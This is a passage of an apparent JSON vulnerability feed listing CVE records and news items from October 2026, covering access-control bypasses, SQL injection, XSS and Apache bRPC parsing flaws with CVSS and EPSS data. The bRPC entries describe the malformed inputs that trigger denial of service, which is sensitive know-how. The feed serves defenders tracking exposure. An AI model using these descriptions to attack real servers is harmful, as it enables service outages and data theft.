commonModel::isOpenMethod() that lets logged-in users skip group-based ACL checks for any method containing 'ajax'. Minimal-privilege users can call methods like task.ajaxGetByID, system.ajaxDBAuthUrl and admin.ajaxChangeTableEngine to read data, obtain database credentials, trigger CI jobs and alter tables.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T13:18:29.593Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114391","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00299,"percentile":0.22391,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114391&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114391","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114391","type":"primary","publishedAt":"2026-10-21T13:18:29.593Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114391&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114391, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114387","cveId":"CVE-2026-114387","aliases":[],"kind":"vulnerability","title":"Shopper from 2.0.0 before 2.6.0 contains a missing authorization vulnerability that allows admin-panel users holding only access_dashboard to create administrators and grant...","summary":"Shopper from 2.0.0 before 2.6.0 contains a missing authorization vulnerability that allows admin-panel users holding only access_dashboard to create administrators and grant permissions. Attackers can call CreateTeamMember::store() or Permissions::togglePermission() directly over /livewire/update to create admin accounts and escalate to full administrator.","detail":"Shopper from 2.0.0 before 2.6.0 contains a missing authorization vulnerability that allows admin-panel users holding only access_dashboard to create administrators and grant permissions. Attackers can call CreateTeamMember::store() or Permissions::togglePermission() directly over /livewire/update to create admin accounts and escalate to full administrator.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T13:18:28.807Z","updatedAt":"2026-10-21T13:18:28.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114387","asOf":"2026-10-21T13:18:28.950Z"},"epss":{"probability":0.00324,"percentile":0.25205,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114387&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114387","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114387","type":"primary","publishedAt":"2026-10-21T13:18:28.807Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114387&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114387, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114245","cveId":"CVE-2026-114245","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected by this...","summary":"A weakness has been identified in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected by this issue is some unknown functionality of the file /Admin/includes/Admin-Register-inc.php of the component Add New Admin Form. Executing a manipulation of the argument submit/Admin_id/password can lead to improper authorization. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A weakness has been identified in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected by this issue is some unknown functionality of the file /Admin/includes/Admin-Register-inc.php of the component Add New Admin Form. Executing a manipulation of the argument submit/Admin_id/password can lead to improper authorization. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T13:18:28.180Z","updatedAt":"2026-10-21T16:17:32.003Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114245","asOf":"2026-10-21T16:17:32.003Z"},"epss":{"probability":0.00377,"percentile":0.31394,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114245&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114245","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114245","type":"primary","publishedAt":"2026-10-21T13:18:28.180Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114245&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114245, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114243","cveId":"CVE-2026-114243","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected by this...","summary":"A security flaw has been discovered in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected by this vulnerability is the function mysqli_query of the file /Agent/ManagePolicy/EditPolicyHolder.php. Performing a manipulation of the argument Policy_no/Name results in sql injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A security flaw has been discovered in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected by this vulnerability is the function mysqli_query of the file /Agent/ManagePolicy/EditPolicyHolder.php. Performing a manipulation of the argument Policy_no/Name results in sql injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T13:18:27.937Z","updatedAt":"2026-10-21T14:26:26.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114243","asOf":"2026-10-21T14:26:26.470Z"},"epss":{"probability":0.00328,"percentile":0.2571,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114243&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114243","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114243","type":"primary","publishedAt":"2026-10-21T13:18:27.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114243&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114243, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"wired-a-design-flaw-in-share-links-exposes-users-personal-conversations-with-meta-muse-b1d17f416976","cveId":null,"aliases":[],"kind":"vulnerability","title":"A Design Flaw in Share Links Exposes Users’ Personal Conversations With Meta’s Muse","summary":"The company is suspending the feature after security researchers discovered how easy it was to access sensitive information shared with the AI assistant.","detail":"The company is suspending the feature after security researchers discovered how easy it was to access sensitive information shared with the AI assistant.\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-21T12:35:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"WIRED Security: A Design Flaw in Share Links Exposes Users’ Personal Conversations With Meta’s Muse","url":"https://www.wired.com/story/a-design-flaw-in-share-links-exposes-users-personal-conversations-with-meta-muse/","type":"reporting","publishedAt":"2026-10-21T12:35:00.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"WIRED Security syndication feed","url":"https://www.wired.com/feed/category/security/latest/rss","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-74757","cveId":"CVE-2026-74757","aliases":[],"kind":"vulnerability","title":"Uncontrolled resource allocation in the mcpack2pb component in Apache bRPC (version < 1.18.0) on all platforms allows remote attackers to make the server allocate a large amount...","summary":"Uncontrolled resource allocation in the mcpack2pb component in Apache bRPC (version < 1.18.0) on all platforms allows remote attackers to make the server allocate a large amount of memory via sending a crafted mcpack request with a huge array item count.\n\nRoot Cause:\nThe bRPC mcpack2pb parser trusts the item count stored in the mcpack array header without validating it against the actual payload size. The code generated by the mcpack2pb protoc plugin uses this count to preallocate memory for repeated protobuf fields via Reserve(). A malformed request declaring item_count = 0x7fffffff can force the server to preallocate about 16GB of virtual memory, which may abort the process (SIGABRT) on memory-constrained hosts.\n\nAffected Scenarios:\nUse a bRPC server that wires a NsheadService to UbrpcMcpack2Adaptor (the Baidu ubrpc deployment pattern) and parses requests with code generated by the mcpack2pb protoc plugin. The request body is parsed before authentication.\n\nHow to Fix:\n(Choose one of the following options)\n1. Upgrade bRPC to version 1.18.0, which fixes this issue.\n2. Apply this patch:  https://github.com/apache/brpc/pull/3451 \n\nNote:\nNo matter which option you choose, you should know that the fix caps the array item count to the remaining bytes of the array payload.","detail":"Uncontrolled resource allocation in the mcpack2pb component in Apache bRPC (version < 1.18.0) on all platforms allows remote attackers to make the server allocate a large amount of memory via sending a crafted mcpack request with a huge array item count.\n\nRoot Cause:\nThe bRPC mcpack2pb parser trusts the item count stored in the mcpack array header without validating it against the actual payload size. The code generated by the mcpack2pb protoc plugin uses this count to preallocate memory for repeated protobuf fields via Reserve(). A malformed request declaring item_count = 0x7fffffff can force the server to preallocate about 16GB of virtual memory, which may abort the process (SIGABRT) on memory-constrained hosts.\n\nAffected Scenarios:\nUse a bRPC server that wires a NsheadService to UbrpcMcpack2Adaptor (the Baidu ubrpc deployment pattern) and parses requests with code generated by the mcpack2pb protoc plugin. The request body is parsed before authentication.\n\nHow to Fix:\n(Choose one of the following options)\n1. Upgrade bRPC to version 1.18.0, which fixes this issue.\n2. Apply this patch:  https://github.com/apache/brpc/pull/3451 \n\nNote:\nNo matter which option you choose, you should know that the fix caps the array item count to the remaining bytes of the array payload.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T12:17:22.700Z","updatedAt":"2026-10-26T14:16:39.890Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-74757","asOf":"2026-10-26T14:16:39.890Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-74757","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-74757","type":"primary","publishedAt":"2026-10-21T12:17:22.700Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-56386","cveId":"CVE-2026-56386","aliases":[],"kind":"vulnerability","title":"Integer underflow and out-of-bounds read in the HTTP/2 server DATA frame parser in Apache bRPC allows an unauthenticated remote attacker to cause denial of service by sending a...","summary":"Integer underflow and out-of-bounds read in the HTTP/2 server DATA frame parser in Apache bRPC allows an unauthenticated remote attacker to cause denial of service by sending a malformed DATA frame with the PADDED flag set and a zero-length payload.\n\nRoot Cause:\nThe HTTP/2 DATA frame handler computed the fragment size from the attacker-controlled payload length and, when the PADDED flag was present, decremented the fragment size before ensuring that the frame contained the mandatory pad length byte. A zero-length padded DATA frame could therefore underflow the unsigned fragment size and read the pad length byte past the end of the frame buffer.\n\nAffected Scenarios:\nApache bRPC servers that accept HTTP/2 traffic are affected when a remote client can send crafted HTTP/2 frames to the server. HTTP/2 may be reached through cleartext h2c detection on an HTTP port or through TLS ALPN negotiation.\n\nHow to Fix:\n(Choose one of the following options)\n1. Upgrade Apache bRPC to version 1.18.0, which fixes this issue.\n2. Apply this patch:  https://github.com/apache/brpc/pull/3325 \n\nNote:\nThe fix validates that a padded DATA frame has enough payload bytes for the pad length field before decrementing the fragment size or reading the pad length byte. Malformed zero-length padded DATA frames are rejected with HTTP/2 FRAME_SIZE_ERROR.","detail":"Integer underflow and out-of-bounds read in the HTTP/2 server DATA frame parser in Apache bRPC allows an unauthenticated remote attacker to cause denial of service by sending a malformed DATA frame with the PADDED flag set and a zero-length payload.\n\nRoot Cause:\nThe HTTP/2 DATA frame handler computed the fragment size from the attacker-controlled payload length and, when the PADDED flag was present, decremented the fragment size before ensuring that the frame contained the mandatory pad length byte. A zero-length padded DATA frame could therefore underflow the unsigned fragment size and read the pad length byte past the end of the frame buffer.\n\nAffected Scenarios:\nApache bRPC servers that accept HTTP/2 traffic are affected when a remote client can send crafted HTTP/2 frames to the server. HTTP/2 may be reached through cleartext h2c detection on an HTTP port or through TLS ALPN negotiation.\n\nHow to Fix:\n(Choose one of the following options)\n1. Upgrade Apache bRPC to version 1.18.0, which fixes this issue.\n2. Apply this patch:  https://github.com/apache/brpc/pull/3325 \n\nNote:\nThe fix validates that a padded DATA frame has enough payload bytes for the pad length field before decrementing the fragment size or reading the pad length byte. Malformed zero-length padded DATA frames are rejected with HTTP/2 FRAME_SIZE_ERROR.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T12:17:21.410Z","updatedAt":"2026-10-22T16:56:37.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-56386","asOf":"2026-10-22T16:56:37.023Z"},"epss":{"probability":0.00732,"percentile":0.54028,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-56386&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-56386","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56386","type":"primary","publishedAt":"2026-10-21T12:17:21.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-56386&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-56386, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114242","cveId":"CVE-2026-114242","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected is the...","summary":"A vulnerability was identified in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected is the function mysqli_query of the file /Admin/View/editPlan.php. Such manipulation of the argument Plan_no/Name leads to sql injection. The attack can be executed remotely. The exploit is publicly available and might be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was identified in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected is the function mysqli_query of the file /Admin/View/editPlan.php. Such manipulation of the argument Plan_no/Name leads to sql injection. The attack can be executed remotely. The exploit is publicly available and might be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T12:17:19.560Z","updatedAt":"2026-10-21T14:26:26.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114242","asOf":"2026-10-21T14:26:26.470Z"},"epss":{"probability":0.00328,"percentile":0.25712,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114242&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114242","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114242","type":"primary","publishedAt":"2026-10-21T12:17:19.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114242&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114242, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-china-aligned-bronze-sandcastle-abuses-5ff1dd07c5c8","cveId":null,"aliases":[],"kind":"vulnerability","title":"China-Aligned Bronze Sandcastle Abuses Sandboxie DLL Sideloading to Deploy Backdoors","summary":"Cybersecurity researchers have disclosed details of a previously undocumented China-aligned threat cluster known as Bronze Sandcastle that has been observed targeting organizations in Asia and Africa since mid-2025.\n\n\"The most distinctive technical marker for Bronze Sandcastle is its consistent use of Sandboxie DLL sideloading,\" Sophos security researcher Gabor Szappanos said in a post published","detail":"Cybersecurity researchers have disclosed details of a previously undocumented China-aligned threat cluster known as Bronze Sandcastle that has been observed targeting organizations in Asia and Africa since mid-2025.\n\n\"The most distinctive technical marker for Bronze Sandcastle is its consistent use of Sandboxie DLL sideloading,\" Sophos security researcher Gabor Szappanos said in a post published\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-21T12:05:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: China-Aligned Bronze Sandcastle Abuses Sandboxie DLL Sideloading to Deploy Backdoors","url":"https://thehackernews.com/2026/10/china-aligned-bronze-sandcastle-abuses.html","type":"reporting","publishedAt":"2026-10-21T12:05:00.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110884","cveId":"CVE-2026-110884","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in geekontheroad Live Summary for Gravity Forms live-summary-for-gravity-forms...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in geekontheroad Live Summary for Gravity Forms live-summary-for-gravity-forms allows Reflected XSS.This issue affects Live Summary for Gravity Forms: from n/a through 1.2.10.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in geekontheroad Live Summary for Gravity Forms live-summary-for-gravity-forms allows Reflected XSS.This issue affects Live Summary for Gravity Forms: from n/a through 1.2.10.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T10:16:55.520Z","updatedAt":"2026-10-21T14:26:26.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110884","asOf":"2026-10-21T14:26:26.470Z"},"epss":{"probability":0.00205,"percentile":0.10344,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110884&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110884","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110884","type":"primary","publishedAt":"2026-10-21T10:16:55.520Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured 